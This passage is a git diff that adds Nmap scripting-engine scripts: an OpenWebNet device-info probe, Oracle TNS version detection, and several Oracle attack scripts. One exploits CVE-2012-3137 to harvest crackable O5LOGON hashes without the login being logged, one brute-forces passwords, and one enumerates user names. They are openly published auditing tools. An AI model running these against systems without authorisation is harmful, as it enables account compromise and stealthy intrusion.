+ [17] = "Scenario Programming",
+ [18] = "Energy Management",
+ [24] = "Lighting Management",
+ [25] = "CEN plus",
+ [1000] = "Diagnostic",
+ [1001] = "Automation Diagnostic",
+ [1004] = "Heating Diagnostic",
+ [1008] = "Door Entry System Diagnostic",
+ [1013] = "Device Diagnostic"
+}
+
+local device_dimension = {
+ ["Time"] = "0",
+ ["Date"] = "1",
+ ["IP Address"] = "10",
+ ["Net Mask"] = "11",
+ ["MAC Address"] = "12",
+ ["Device Type"] = "15",
+ ["Firmware Version"] = "16",
+ ["Hardware Version"] = "17",
+ ["Uptime"] = "19",
+ ["Micro Version"] = "20",
+ ["Date and Time"] = "22",
+ ["Kernel Version"] = "23",
+ ["Distribution Version"] = "24",
+ ["Gateway IP address"] = "50",
+ ["DNS IP address 1"] = "51",
+ ["DNS IP address 2"] = "52"
+}
+
+local ACK = "*#*1##"
+local NACK = "*#*0##"
+
+-- Initiates a socket connection
+-- Returns the socket and error message
+local function get_socket(host, port, request)
+
+ local sd, response, early_resp = comm.opencon(host, port, request, {recv_before=true, request_timeout=10000})
+
+ if sd == nil then
+ stdnse.debug("Socket connection error.")
+ return nil, response
+ end
+
+ if not response then
+ stdnse.debug("Poor internet connection or no response.")
+ return nil, response
+ end
+
+ if response == NACK then
+ stdnse.debug("Received a negative ACK as response.")
+ return nil, response
+ end
+
+ return sd, nil
+end
+
+local function get_response(sd, request)
+
+ local res = {}
+ local status, data
+
+ sd:send(request)
+
+ repeat
+ status, data = sd:receive_buf("##", true)
+
+ if status == nil then
+ stdnse.debug("Error: " .. data)
+ if data == "TIMEOUT" then
+ -- Avoids false results by capturing NACK after TIMEOUT occurred.
+ status, data = sd:receive_buf("##", true)
+ break
+ else
+ -- Captures other kind of errors like EOF
+ sd:close()
+ return res
+ end
+ end
+
+ if status and data ~= ACK then
+ table.insert(res, data)
+ end
+ if data == ACK then
+ break
+ end
+
+ -- If response is NACK, it means the request method is not supported
+ if data == NACK then
+ res = nil
+ break
+ end
+ until not status
+
+ return res
+end
+
+local function format_dimensions(res)
+
+ if res["Date and Time"] then
+ local params = {
+ "hour", "min", "sec", "msec", "dayOfWeek", "day", "month", "year"
+ }
+
+ local values = {}
+ for counter, val in ipairs(stringaux.strsplit("%.%s*", res["Date and Time"])) do
+ values[ params[counter] ] = val
+ end
+
+ res["Date and Time"] = datetime.format_timestamp(values)
+ end
+
+ if res["Device Type"] then
+ res["Device Type"] = device[ tonumber( res["Device Type"] ) ]
+ end
+
+ if res["MAC Address"] then
+ res["MAC Address"] = string.gsub(res["MAC Address"], "(%d+)(%.?)", function(num, separator)
+ if separator == "." then
+ return string.format("%02x:", num)
+ else
+ return string.format("%02x", num)
+ end
+ end
+ )
+ end
+
+ if res["Uptime"] then
+ local t = {}
+ local units = {
+ "d", "h", "m", "s"
+ }
+
+ for counter, v in ipairs(stringaux.strsplit("%.%s*", res["Uptime"])) do
+ table.insert(t, v .. units[counter])
+ end
+
+ res["Uptime"] = table.concat(t, "")
+ end
+
+ return res
+
+end
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ local sd, err = get_socket(host, port, nil)
+
+ -- Socket connection creation failed
+ if sd == nil then
+ return err
+ end
+
+ -- Fetching list of dimensions of a device
+ for _, device in ipairs({"IP Address", "Net Mask", "MAC Address", "Device Type", "Firmware Version", "Uptime", "Date and Time", "Kernel Version", "Distribution Version"}) do
+
+ local head = "*#13**"
+ local tail = "##"
+
+ stdnse.debug("Fetching " .. device)
+
+ local res = get_response(sd, head .. device_dimension[device] .. tail)
+
+ -- Extracts substring from the result
+ -- Ex:
+ -- Request - *#13**16##
+ -- Response - *#13**16*3*0*14##
+ -- Trimmed Output - 3*0*14
+
+ if res and next(res) then
+ local regex = string.gsub(head, "*", "%%*") .. device_dimension[device] .. "%*" .."(.+)" .. tail
+ local tempRes = string.match(res[1], regex)
+
+ if tempRes then
+ output[device] = string.gsub(tempRes, "*", ".")
+ end
+ end
+
+ end
+
+ -- Format the output based on dimension
+ output = format_dimensions(output)
+
+ -- Fetching list of each device
+ for i = 1, 6 do
+
+ stdnse.debug("Fetching the list of " .. who[i] .. " devices.")
+
+ local res = get_response(sd, "*#" .. i .. "*0##")
+ if res and #res > 0 then
+ output[who[i]] = #res
+ end
+
+ end
+
+ if #output > 0 then
+ return output
+ else
+ return nil
+ end
+end
+
diff --git a/scripts/oracle-brute-stealth.nse b/scripts/oracle-brute-stealth.nse
new file mode 100644
index 0000000..00d9041
--- /dev/null
+++ b/scripts/oracle-brute-stealth.nse
@@ -0,0 +1,207 @@
+local brute = require "brute"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local tns = require "tns"
+local unpwdb = require "unpwdb"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Exploits the CVE-2012-3137 vulnerability, a weakness in Oracle's
+O5LOGIN authentication scheme. The vulnerability exists in Oracle 11g
+R1/R2 and allows linking the session key to a password hash. When
+initiating an authentication attempt as a valid user the server will
+respond with a session key and salt. Once received the script will
+disconnect the connection thereby not recording the login attempt.
+The session key and salt can then be used to brute force the users
+password.
+]]
+
+---
+-- @see oracle-brute.nse
+--
+-- @usage
+-- nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1521/tcp open oracle syn-ack
+-- | oracle-brute-stealth:
+-- | Accounts
+-- | dummy:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - Hashed valid or invalid credentials
+-- | nmap:$o5logon$D1B28967547DBA3917D7B129E339F96156C8E2FE5593D42540992118B3475214CA0F6580FD04C2625022054229CAAA8D*7BCF2ACF08F15F75B579 - Hashed valid or invalid credentials
+-- | Statistics
+-- |_ Performed 2 guesses in 1 seconds, average tps: 2
+--
+-- @args oracle-brute-stealth.sid - the instance against which to perform password guessing
+-- @args oracle-brute-stealth.nodefault - do not attempt to guess any Oracle default accounts
+-- @args oracle-brute-stealth.accounts - a list of comma separated accounts to test
+-- @args oracle-brute-stealth.johnfile - if specified the hashes will be written to this file to be used by JtR
+
+--
+-- Version 0.1
+-- Created 06/10/2012 - v0.1 - created by Dhiru Kholia
+--
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+
+author = "Dhiru Kholia"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open")
+
+local ConnectionPool = {}
+local arg_johnfile = stdnse.get_script_args(SCRIPT_NAME .. '.johnfile')
+local johnfile
+
+Driver =
+{
+
+ new = function(self, host, port, sid )
+ local o = { host = host, port = port, sid = sid }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects performs protocol negotiation
+ --
+ -- @return true on success, false on failure
+ connect = function( self )
+ local MAX_RETRIES = 10
+ local tries = MAX_RETRIES
+
+ self.helper = ConnectionPool[coroutine.running()]
+ if ( self.helper ) then return true end
+
+ self.helper = tns.Helper:new( self.host, self.port, self.sid )
+
+ -- This loop is intended for handling failed connections
+ -- A connection may fail for a number of different reasons.
+ -- For the moment, we're just handling the error code 12520
+ --
+ -- Error 12520 has been observed on Oracle XE and seems to
+ -- occur when a maximum connection count is reached.
+ local status, data
+ repeat
+ if ( tries < MAX_RETRIES ) then
+ stdnse.debug2("Attempting to re-connect (attempt %d of %d)", MAX_RETRIES - tries, MAX_RETRIES)
+ end
+ status, data = self.helper:Connect()
+ if ( not(status) ) then
+ stdnse.debug2("ERROR: An Oracle %s error occurred", data)
+ self.helper:Close()
+ else
+ break
+ end
+ tries = tries - 1
+ stdnse.sleep(1)
+ until( tries == 0 or data ~= "12520" )
+
+ if ( status ) then
+ ConnectionPool[coroutine.running()] = self.helper
+ end
+
+ return status, data
+ end,
+
+ --- Attempts to login to the Oracle server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+ local status, data = self.helper:StealthLogin( username, password )
+
+ if ( data["AUTH_VFR_DATA"] ) then
+ local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
+ if ( johnfile ) then
+ johnfile:write(("%s:%s\n"):format(username,hash))
+ end
+ return true, creds.Account:new(username, hash, creds.State.HASHED)
+ else
+ return false, brute.Error:new( data )
+ end
+
+
+ end,
+
+ --- Disconnects and terminates the Oracle TNS communication
+ disconnect = function( self )
+ return true
+ end,
+
+}
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
+ local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
+ local engine = brute.Engine:new(Driver, host, port, sid)
+ local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
+ local mode = arg_accounts and "accounts" or "default"
+
+ if ( not(sid) ) then
+ return fail("Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)")
+ end
+
+ if ( arg_johnfile ) then
+ johnfile = io.open(arg_johnfile, "w")
+ if ( not(johnfile) ) then
+ return fail(("Failed to open %s for writing"):format(johnfile))
+ end
+ end
+
+ local helper = tns.Helper:new( host, port, sid )
+ local status, result = helper:Connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to oracle server")
+ end
+ helper:Close()
+
+ if ( stdnse.get_script_args('userdb') or
+ stdnse.get_script_args('passdb') or
+ stdnse.get_script_args('oracle-brute-stealth.nodefault') or
+ stdnse.get_script_args('brute.credfile') ) then
+ mode = nil
+ end
+
+ if ( mode == "default" ) then
+ local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
+ if ( not(f) ) then
+ return fail(("Failed to find %s"):format(DEFAULT_ACCOUNTS))
+ end
+
+ f = io.open(f)
+ if ( not(f) ) then
+ return fail(("Failed to open %s"):format(DEFAULT_ACCOUNTS))
+ end
+
+ engine.iterator = brute.Iterators.credential_iterator(f)
+ elseif( "accounts" == mode ) then
+ engine.iterator = unpwdb.table_iterator(stringaux.strsplit(",%s*", arg_accounts))
+ end
+
+ engine.options.useraspass = false
+ engine.options.mode = "user"
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ if ( johnfile ) then
+ johnfile:close()
+ end
+
+ return result
+end
diff --git a/scripts/oracle-brute.nse b/scripts/oracle-brute.nse
new file mode 100644
index 0000000..8a94987
--- /dev/null
+++ b/scripts/oracle-brute.nse
@@ -0,0 +1,228 @@
+local brute = require "brute"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local tns = require "tns"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs brute force password auditing against Oracle servers.
+
+Running it in default mode it performs an audit against a list of common
+Oracle usernames and passwords. The mode can be changed by supplying the
+argument oracle-brute.nodefault at which point the script will use the
+username- and password- lists supplied with Nmap. Custom username- and
+password- lists may be supplied using the userdb and passdb arguments.
+The default credential list can be changed too by using the brute.credfile
+argument. In case the userdb or passdb arguments are supplied, the script
+assumes that it should run in the nodefault mode.
+
+In modern versions of Oracle password guessing speeds decrease after a few
+guesses and remain slow, due to connection throttling.
+
+WARNING: The script makes no attempt to discover the amount of guesses
+that can be made before locking an account. Running this script may therefor
+result in a large number of accounts being locked out on the database server.
+]]
+
+---
+-- @see oracle-brute-stealth.nse
+--
+-- @usage
+-- nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1521/tcp open oracle syn-ack
+-- | oracle-brute:
+-- | Accounts
+-- | system:powell => Account locked
+-- | haxxor:haxxor => Valid credentials
+-- | Statistics
+-- |_ Perfomed 157 guesses in 8 seconds, average tps: 19
+--
+-- @args oracle-brute.sid - the instance against which to perform password
+-- guessing
+-- @args oracle-brute.nodefault - do not attempt to guess any Oracle default
+-- accounts
+
+--
+-- Version 0.3
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/23/2010 - v0.2 - added script usage and output and
+-- - oracle-brute.sid argument
+-- Revised 07/25/2011 - v0.3 - added support for guessing default accounts
+-- changed code to use ConnectionPool
+-- Revised 03/13/2012 - v0.4 - revised by László Tóth
+-- added support for SYSDBA accounts
+-- Revised 08/07/2012 - v0.5 - revised to suit the changes in brute
+-- library [Aleksandar Nikolic]
+
+--
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open")
+
+local ConnectionPool = {}
+local sysdba = {}
+
+Driver =
+{
+
+ new = function(self, host, port, sid )
+ local o = { host = host, port = port, sid = sid }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects performs protocol negotiation
+ --
+ -- @return true on success, false on failure
+ connect = function( self )
+ local MAX_RETRIES = 10
+ local tries = MAX_RETRIES
+
+ self.helper = ConnectionPool[coroutine.running()]
+ if ( self.helper ) then return true end
+
+ self.helper = tns.Helper:new( self.host, self.port, self.sid, brute.new_socket() )
+
+ -- This loop is intended for handling failed connections
+ -- A connection may fail for a number of different reasons.
+ -- For the moment, we're just handling the error code 12520
+ --
+ -- Error 12520 has been observed on Oracle XE and seems to
+ -- occur when a maximum connection count is reached.
+ local status, data
+ repeat
+ if ( tries < MAX_RETRIES ) then
+ stdnse.debug2("Attempting to re-connect (attempt %d of %d)", MAX_RETRIES - tries, MAX_RETRIES)
+ end
+ status, data = self.helper:Connect()
+ if ( not(status) ) then
+ stdnse.debug2("ERROR: An Oracle %s error occurred", data)
+ self.helper:Close()
+ else
+ break
+ end
+ tries = tries - 1
+ stdnse.sleep(1)
+ until( tries == 0 or data ~= "12520" )
+
+ if ( status ) then
+ ConnectionPool[coroutine.running()] = self.helper
+ end
+
+ return status, data
+ end,
+
+ --- Attempts to login to the Oracle server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+ local status, data = self.helper:Login( username, password )
+
+ if ( sysdba[username] ) then
+ return false, brute.Error:new("Account already discovered")
+ end
+
+ if ( status ) then
+ self.helper:Close()
+ ConnectionPool[coroutine.running()] = nil
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ -- Check for account locked message
+ elseif ( data:match("ORA[-]28000") ) then
+ return true, creds.Account:new(username, password, creds.State.LOCKED)
+ -- Check for account is SYSDBA message
+ elseif ( data:match("ORA[-]28009") ) then
+ sysdba[username] = true
+ return true, creds.Account:new(username .. " as sysdba", password, creds.State.VALID)
+ -- check for any other message
+ elseif ( data:match("ORA[-]%d+")) then
+ stdnse.debug3("username: %s, password: %s, error: %s", username, password, data )
+ return false, brute.Error:new(data)
+ -- any other errors are likely communication related, attempt to re-try
+ else
+ self.helper:Close()
+ ConnectionPool[coroutine.running()] = nil
+ local err = brute.Error:new(data)
+ err:setRetry(true)
+ return false, err
+ end
+
+ return false, brute.Error:new( data )
+
+ end,
+
+ --- Disconnects and terminates the Oracle TNS communication
+ disconnect = function( self )
+ return true
+ end,
+
+}
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
+ local sid = stdnse.get_script_args('oracle-brute.sid') or
+ stdnse.get_script_args('tns.sid')
+ local engine = brute.Engine:new(Driver, host, port, sid)
+ local mode = "default"
+
+ if ( not(sid) ) then
+ return fail("Oracle instance not set (see oracle-brute.sid or tns.sid)")
+ end
+
+ local helper = tns.Helper:new( host, port, sid )
+ local status, result = helper:Connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to oracle server")
+ end
+ helper:Close()
+
+ local f
+
+ if ( stdnse.get_script_args('userdb') or
+ stdnse.get_script_args('passdb') or
+ stdnse.get_script_args('oracle-brute.nodefault') or
+ stdnse.get_script_args('brute.credfile') ) then
+ mode = nil
+ end
+
+ if ( mode == "default" ) then
+ f = nmap.fetchfile(DEFAULT_ACCOUNTS)
+ if ( not(f) ) then
+ return fail(("Failed to find %s"):format(DEFAULT_ACCOUNTS))
+ end
+
+ f = io.open(f)
+ if ( not(f) ) then
+ return fail(("Failed to open %s"):format(DEFAULT_ACCOUNTS))
+ end
+
+ engine.iterator = brute.Iterators.credential_iterator(f)
+ end
+
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/oracle-enum-users.nse b/scripts/oracle-enum-users.nse
new file mode 100644
index 0000000..524c6b9
--- /dev/null
+++ b/scripts/oracle-enum-users.nse
@@ -0,0 +1,134 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local tns = require "tns"
+local unpwdb = require "unpwdb"
+local rand = require "rand"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Attempts to enumerate valid Oracle user names against unpatched Oracle 11g
+servers (this bug was fixed in Oracle's October 2009 Critical Patch Update).
+]]
+
+---
+-- @usage
+-- nmap --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 <host>
+--
+-- If no userdb is supplied the default userlist is used
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1521/tcp open oracle syn-ack
+-- | oracle-enum-users:
+-- | haxxor is a valid user account
+-- | noob is a valid user account
+-- |_ patrik is a valid user account
+--
+-- @args oracle-enum-users.sid the instance against which to attempt user
+-- enumeration
+
+-- Version 0.3
+
+-- Created 12/07/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 21/07/2010 - v0.2 - revised to work with patched systems <patrik>
+-- Revised 21/07/2010 - v0.3 - removed references to smb in get_random_string
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+
+portrule = shortport.port_or_service(1521, 'oracle-tns' )
+
+local function checkAccount( host, port, user )
+
+ local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
+ local status, data = helper:Connect()
+ local tnscomm, auth
+ local auth_options = tns.AuthOptions:new()
+
+
+ if ( not(status) ) then
+ return false, data
+ end
+
+ -- A bit ugly, the helper should probably provide a getSocket function
+ tnscomm = tns.Comm:new( helper.tnssocket )
+
+ status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
+ if ( not(status) ) then
+ return false, auth
+ end
+ helper:Close()
+
+ return true, auth["AUTH_VFR_DATA"]
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function( host, port )
+
+ local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
+
+ local status, salt
+ local count = 0
+ local result = {}
+ local usernames
+
+ if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
+ return fail("Oracle instance not set (see oracle-enum-users.sid or tns.sid)")
+ end
+
+ status, usernames = unpwdb.usernames()
+ if( not(status) ) then
+ return fail("Failed to load the usernames dictionary")
+ end
+
+ -- Check for some known good accounts
+ for _, user in ipairs( known_good_accounts ) do
+ status, salt = checkAccount(host, port, user)
+ if( not(status) ) then return salt end
+ if ( salt ) then
+ count = count + #salt
+ end
+ end
+
+ -- did we atleast get a single salt back?
+ if ( count < 20 ) then
+ return fail("None of the known accounts were detected (oracle < 11g)")
+ end
+
+ -- Check for some known bad accounts
+ count = 0
+ for i=1, 10 do
+ local user = rand.random_string(10,
+ "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_")
+ status, salt = checkAccount(host, port, user)
+ if( not(status) ) then return salt end
+ if ( salt ) then
+ count = count + #salt
+ end
+ end
+
+ -- It's unlikely that we hit 3 random combinations as valid users
+ if ( count > 60 ) then
+ return fail(("%d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
+ end
+
+ for user in usernames do
+ status, salt = checkAccount(host, port, user)
+ if ( not(status) ) then return salt end
+ if ( salt and #salt == 20 ) then
+ table.insert( result, ("%s is a valid user account"):format(user))
+ end
+ end
+
+ if ( #result == 0 ) then
+ table.insert( result, "Failed to find any valid user accounts")
+ end
+
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/oracle-sid-brute.nse b/scripts/oracle-sid-brute.nse
new file mode 100644
index 0000000..d559b54
--- /dev/null
+++ b/scripts/oracle-sid-brute.nse
@@ -0,0 +1,171 @@
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Guesses Oracle instance/SID names against the TNS-listener.
+
+If the <code>oraclesids</code> script argument is not used to specify an
+alternate file, the default <code>oracle-sids</code> file will be used.
+License to use the <code>oracle-sids</code> file was granted by its
+author, Alexander Kornbrust (http://seclists.org/nmap-dev/2009/q4/645).
+]]
+
+---
+-- @args oraclesids A file containing SIDs to try.
+--
+-- @usage
+-- nmap --script=oracle-sid-brute --script-args=oraclesids=/path/to/sidfile -p 1521-1560 <host>
+-- nmap --script=oracle-sid-brute -p 1521-1560 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1521/tcp open oracle syn-ack
+-- | oracle-sid-brute:
+-- | orcl
+-- | prod
+-- |_ devel
+
+-- Version 0.3
+
+-- Created 12/10/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 12/11/2009 - v0.2 - Added tns_type, split packet creation to header & data
+-- Revised 12/14/2009 - v0.3 - Fixed ugly file_exist kludge
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(1521, 'oracle-tns')
+
+-- A table containing the different TNS types ... not complete :)
+local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11}
+
+--- Creates a TNS header
+-- A lot of values are still hardcoded ...
+--
+-- @param packetType string containing the type of TNS packet
+-- @param packetLength number defining the length of the DATA segment of the packet
+--
+-- @return string with the raw TNS header
+--
+local function create_tns_header(packetType, packetLength)
+
+ local request = string.pack( ">I2 I2 BB I2",
+ packetLength + 34, -- Packet Length
+ 0, -- Packet Checksum
+ tns_type[packetType], -- Packet Type
+ 0, -- Reserved Byte
+ 0 -- Header Checksum
+ )
+
+ return request
+
+end
+
+--- Creates a TNS connect packet
+--
+-- @param host_ip string containing the IP of the remote host
+-- @param port_no number containing the remote port of the Oracle instance
+-- @param sid string containing the SID against which to attempt to connect
+--
+-- @return string containing the raw TNS packet
+--
+local function create_connect_packet( host_ip, port_no, sid )
+
+ local connect_data = string.format(
+ "(DESCRIPTION=(CONNECT_DATA=(SID=%s)(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))\z
+ (ADDRESS=(PROTOCOL=tcp)(HOST=%s)(PORT=%d)))", sid, host_ip, port_no)
+
+ local data = string.pack(">I2 I2 I2 I2 I2 I2 I2 I2 I2 I2 I4 BB",
+ 308, -- Version
+ 300, -- Version (Compatibility)
+ 0, -- Service Options
+ 2048, -- Session Data Unit Size
+ 32767, -- Maximum Transmission Data Unit Size
+ 20376, -- NT Protocol Characteristics
+ 0, -- Line Turnaround Value
+ 1, -- Value of 1 in Hardware
+ connect_data:len(), -- Length of connect data
+ 34, -- Offset to connect data
+ 0, -- Maximum Receivable Connect Data
+ 1, -- Connect Flags 0
+ 1 -- Connect Flags 1
+ )
+ .. connect_data
+
+
+ local header = create_tns_header("CONNECT", connect_data:len() )
+
+ return header .. data
+
+end
+
+--- Process a TNS response and extracts Length, Checksum and Type
+--
+-- @param packet string as a raw TNS response
+-- @return table with Length, Checksum and Type set
+--
+local function process_tns_packet( packet )
+
+ local tnspacket = {}
+
+ -- just pull out the bare minimum to be able to match
+ tnspacket.Length, tnspacket.Checksum, tnspacket.Type = string.unpack(">I2I2B", packet)
+
+ return tnspacket
+
+end
+
+action = function(host, port)
+
+ local found_sids = {}
+ local socket = nmap.new_socket()
+ local catch = function() socket:close() end
+ local try = nmap.new_try(catch)
+ local request, response, tns_packet
+ local sidfile
+
+ socket:set_timeout(5000)
+
+ -- open the sid file specified by the user or fallback to the default oracle-sids file
+ local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
+
+ sidfile = io.open(sidfilename)
+
+ if not sidfile then
+ return
+ end
+
+ -- read sids line-by-line from the sidfile
+ for sid in sidfile:lines() do
+
+ -- check for comments
+ if not sid:match("#!comment:") then
+
+ try(socket:connect(host, port))
+ request = create_connect_packet( host.ip, port.number, sid )
+ try(socket:send(request))
+ response = try(socket:receive_bytes(1))
+ tns_packet = process_tns_packet(response)
+
+ -- If we get anything other than REFUSE consider it as a valid SID
+ if tns_packet.Type ~= tns_type.REFUSE then
+ table.insert(found_sids, sid)
+ end
+
+ try(socket:close())
+
+ end
+
+ end
+
+ sidfile:close()
+
+ return stdnse.format_output(true, found_sids)
+
+end
diff --git a/scripts/oracle-tns-version.nse b/scripts/oracle-tns-version.nse
new file mode 100644
index 0000000..72fae6d
--- /dev/null
+++ b/scripts/oracle-tns-version.nse
@@ -0,0 +1,104 @@
+description = [[
+Decodes the VSNNUM version number from an Oracle TNS listener.
+]]
+
+local shortport = require "shortport"
+local nmap = require "nmap"
+local comm = require "comm"
+local stdnse = require "stdnse"
+local string = require "string"
+local U = require "lpeg-utility"
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version", "safe"}
+
+portrule = function (host, port)
+ return (
+ -- -sV has an actual version for this, no need to send more probes and decode.
+ not (port.version and port.version.version and port.version.version ~= "")
+ -- Otherwise, normal checking for port numbers etc.
+ and shortport.version_port_or_service({1521,1522,1523}, "oracle-tns")(host, port)
+ )
+end
+
+-- Lifted from nmap-service-probes
+-- TODO: Figure out if we can send a better probe than this. We might need to
+-- send ADDRESS, CID, etc.
+local oracle_tns_probe = "\0Z\0\0\x01\0\0\0\x016\x01,\0\0\x08\0\x7F\xFF\x7F\x08\0\0\0\x01\0 \0:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x004\xE6\0\0\0\x01\0\0\0\0\0\0\0\0(CONNECT_DATA=(COMMAND=version))"
+
+local ERR_CODES = {
+ ["1189"] = "unauthorized",
+ ["1194"] = "insecure transport",
+ ["12154"] = "unknown identifier",
+ ["12504"] = "requires service name",
+ ["12505"] = "unknown sid",
+ ["12514"] = "unknown service name",
+}
+
+local function decode_vsnnum (vsnnum)
+ vsnnum = tonumber(vsnnum)
+ return string.format("%d.%d.%d.%d.%d",
+ vsnnum >> 24,
+ vsnnum >> 20 & 0xF,
+ vsnnum >> 12 & 0xFF,
+ vsnnum >> 8 & 0xF,
+ vsnnum & 0xFF
+ )
+end
+
+do
+ local test_data = {
+ ["135290880"] = "8.1.6.0.0",
+ ["153092352"] = "9.2.0.1.0",
+ ["169869568"] = "10.2.0.1.0",
+ ["185599488"] = "11.1.0.6.0",
+ ["202375680"] = "12.1.0.2.0",
+ ["301989888"] = "18.0.0.0.0",
+ ["318767104"] = "19.0.0.0.0",
+ ["352321536"] = "21.0.0.0.0",
+ }
+ for n, v in pairs(test_data) do
+ local ver = decode_vsnnum(n)
+ assert(ver == v, ("%s == %s"):format(ver, v))
+ end
+end
+
+action = function (host, port)
+ local response
+ -- Did the service engine already do the hard work?
+ if port.version and port.version.service_fp then
+ -- Probes sent, replies received, but no match.
+ response = U.get_response(port.version.service_fp, "oracle-tns")
+ end
+
+ if not response then
+ -- Have to send the probe ourselves
+ local status
+ status, response = comm.exchange(host, port, oracle_tns_probe)
+ if not status then
+ stdnse.debug1("Couldn't get a response: %s", response)
+ return nil
+ end
+ end
+
+ local vsnnum = response and response:match("%(VSNNUM=(%d+)%)", 12)
+ port.version = port.version or {}
+ if vsnnum then
+ local version = decode_vsnnum(vsnnum)
+ port.version.product = "Oracle TNS listener"
+ port.version.version = version
+ local cpes = port.version.cpe or {}
+ cpes[#cpes+1] = "cpe:/a:oracle:database_server:" .. version
+ port.version.cpe = cpes
+ end
+
+ local errno = response and response:match("%(ERR=(%d+)%)", 12)
+ if errno then
+ port.version.extrainfo = ERR_CODES[errno] or ("error: "..errno)
+ end
+
+ if vsnnum or errno then
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+end
diff --git a/scripts/ovs-agent-version.nse b/scripts/ovs-agent-version.nse
new file mode 100644
index 0000000..96135e6
--- /dev/null
+++ b/scripts/ovs-agent-version.nse
@@ -0,0 +1,78 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Detects the version of an Oracle Virtual Server Agent by fingerprinting
+responses to an HTTP GET request and an XML-RPC method call.
+
+Version 2.2 of Virtual Server Agent returns a distinctive string in response to an
+HTTP GET request. However versions 3.0 and 3.0.1 return a generic response that
+looks like any other BaseHTTP/SimpleXMLRPCServer. Versions 2.2 and 3.0 return a
+distinctive error message in response to a <code>system.listMethods</code>
+XML-RPC call, which however does not distinguish the two versions. Version 3.0.1
